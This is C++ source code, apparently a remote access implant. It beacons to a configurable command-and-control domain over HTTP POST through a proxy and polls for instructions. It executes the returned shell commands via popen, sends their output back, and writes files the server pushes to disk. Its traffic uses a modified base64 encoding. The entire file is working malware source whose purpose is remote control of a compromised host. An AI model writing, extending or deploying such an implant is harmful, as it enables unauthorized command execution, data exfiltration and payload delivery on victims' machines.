#include #include #include #include #include #include #include #define STR1(x) #x // double string expansion nightmare #define STR(x) STR1(x) size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s) { size_t newLength = size * nmemb; try { s->append((char *)contents, newLength); } catch (std::bad_alloc &e) { // handle memory problem return 0; } return newLength; } std::string encodeTriplet(std::uint8_t iByte1, std::uint8_t iByte2, std::uint8_t iByte3) { std::array encodeTable{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; std::string sEncodedTriplet = ""; std::uint32_t combinedTriplet = (iByte1 << 16) | (iByte2 << 8) | iByte3; sEncodedTriplet += encodeTable[combinedTriplet >> 18]; sEncodedTriplet += encodeTable[combinedTriplet >> 12 & 0x3F]; sEncodedTriplet += encodeTable[combinedTriplet >> 6 & 0x3F]; sEncodedTriplet += encodeTable[combinedTriplet & 0x3F]; return sEncodedTriplet; } std::string b64Encode(std::string sWriteData) { std::string sEncodedData = ""; std::string sEncodedBuffer; while (sWriteData.length() > 0) { if (sWriteData.length() >= 3) { sEncodedData += encodeTriplet(sWriteData[0], sWriteData[1], sWriteData[2]); sWriteData.erase(0, 3); } else if (sWriteData.length() == 2) { sEncodedBuffer = encodeTriplet(sWriteData[0], sWriteData[1], '0'); sEncodedBuffer.replace(3, 1, "$"); sEncodedData += sEncodedBuffer; sWriteData.erase(); } else if (sWriteData.length() == 1) { sEncodedBuffer = encodeTriplet(sWriteData[0], '0', '0'); sEncodedBuffer.replace(2, 2, "$$"); sEncodedData += sEncodedBuffer; sWriteData.erase(); } } return sEncodedData; } std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "") { CURL *curl; CURLcode res; std::string sReadData; sValue1 = b64Encode(sValue1); std::string sWriteData = sParam1 + "=" + sValue1; if (sParam2 != "") { sValue2 = b64Encode(sValue2); sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2; } curl = curl_easy_init(); // init curl if (curl) { curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response // char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length()); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str()); //); // choose the data to send in the post request curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function curl_easy_perform(curl); // run query } return sReadData; } std::string exec(std::string sCommand) // takes a pointer to an array of char containing the command and executes it in the shell, returning the stdout { std::array buffer; // define 128 length array of char for buffering stdout to result std::string result; // declare string result for later use std::unique_ptr pipe(popen(sCommand.c_str(), "r"), pclose); // run popen with the command as an argument if (!pipe) // if the popen was unsuccessful for whatever reason { throw std::runtime_error("popen() failed!"); // throw runtime error } while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) // whilst data is being written to the stdout, add the buffered data to the result string { result += buffer.data(); } return result; // return the result of the command } int main() { const std::string sOk = "msg=acknowledged"; std::regex rRun("^run=(.|\n)+"); // compile regular expression rRun, which matches the run command (to execute an instruction) std::regex rUpload("^filename=(.|\n)+"); // compile regular expression rUpload, which matches the filename command (to upload a file) std::string sResponse; // declare string sResponse for later use srand(time(0)); // init srand with the current unix time as the seed sResponse = sendData("msg", "ready", "type", "basic"); std::cout << sResponse << std::endl; if (sResponse == sOk) // if the server acknowledges our connection { while (true) { sResponse = sendData("msg", "reqcmd"); std::cout << sResponse << std::endl; if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run { std::vector sData; // declares a vector of strings sData std::string sSplit; // declares string sSplit for later use for (int i = 0; i < sResponse.length(); i++) // for each char in the sCommand string { if (sResponse[i] == '=') // if we have reached the end of the parameter { sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands sSplit = ""; // set sSplit to empty } else // otherwise { sSplit.push_back(sResponse[i]); // add the selected char to the sSplit string if (i == (sResponse.length() - 1)) // if we have reached the end of the sCommand string { sData.push_back(sSplit); // then add the sSplit string to the vector of strings sCommands } } } std::string sOutput = exec(sData[1]); std::cout << sOutput; sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse std::cout << sResponse << std::endl; while (true) { if (sResponse != sOk) // if server does not respond as expected { sResponse = sendData("result", sOutput); // send returned data again std::cout << sResponse << std::endl; } else { break; } sleep(5); // perform this loop every 5 secs } } else if (std::regex_match(sResponse, rUpload)) { std::ofstream fFile; std::vector sData; // declares a vector of strings sData std::string sSplit; for (int i = 0; i < sResponse.length(); i++) { if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter { sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands sSplit = ""; // set sSplit to empty } else // otherwise { sSplit.push_back(sResponse[i]); // add the selected char to the sSplit string if (i == (sResponse.length() - 1)) // if we have reached the end of the sCommand string { sData.push_back(sSplit); // then add the sSplit string to the vector of strings sCommands } } } fFile.open(sData[1]); // open a file for writing with the filename provided if (fFile) { fFile << sData[3]; // write the content of the file std::cout << sendData("msg", "saved"); } else { std::cout << "Could not write to local file." << std::endl; std::cout << sendData("msg", "error"); } } } } return 0; }